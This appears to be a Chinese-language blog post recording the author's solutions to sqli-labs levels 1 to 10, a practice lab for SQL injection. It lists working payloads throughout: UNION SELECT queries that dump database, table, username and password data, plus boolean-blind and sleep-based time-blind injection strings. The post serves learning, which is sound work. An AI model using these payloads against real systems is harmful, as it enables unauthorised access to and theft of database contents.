Sql-labs Less-1~10学习记录

1.1判断是否存在注入

输入?id=1 页面此时

 通过输入不同的数字型id会回显不同的内容

 然后通过输入?id=1'来测试字符型是否存在sql注入

 

 

 可以看到存在字符型的sql注入,且'可以闭合

2.联合注入

通过测试来知道表格的最大列数,超出最大列数报错

 第四列报错,最大为3列

所以联合查询前三列

 当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据

由此可以爆出数据库名

?id=-1' union select 1,database(),3 -- -

 爆数据库

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata -- -

 爆security数据库的数据表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- -

 这里推断账户和密码在users表中,通过users表爆出username和password

?id=-1' union select 1,2,group_concat(username , password) from users --

  爆数据

?id=-1'union select 1,username,password from users where id=2-- -

 sqli-labs Less -2

 

 注入类型为数字型 流程与Less-1一致

sqli-labs Less -3

输入?id=1'

 由此判断sql语句是单引号字符且有括号,所以再使用?id=1′) --+进行注入

 后续步骤与之前类似...

sqli-labs Less -4

 

 可以知道sql语句是单引号字符型且有括号

后续步骤也与之前类似...

 

sqli-labs Less -5

输入页面不回显,只能判断是否存在注入,注入类型是字符型,是布尔盲注。

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

 利用工具跑

sqli-labs Less -6

同为布尔盲注,跟第五关的区别是双引号闭合

sqli-labs Less -7

输入?id=1’报错,使用?id=1'--+闭合依然报错,尝试?id=1')--+同样报错,?id=1')) --+可以闭,所以依旧是布尔盲注

 

 sqli-labs Less 8

这关是不报错的布尔盲注

 

 sqli-labs Less-9

这关是单引号时间盲注,执行sleep(5),页面会延迟5秒

执行语句:?id=1’ and if(1=0,1, sleep(5)) --+

sqli-labs Less -10

这关是双引号时间盲注

执行语句:?id=1" and if(1=0,1, sleep(5)) --+

 

posted @ 2023-11-18 13:54  4A16  阅读(7)  评论(0编辑  收藏  举报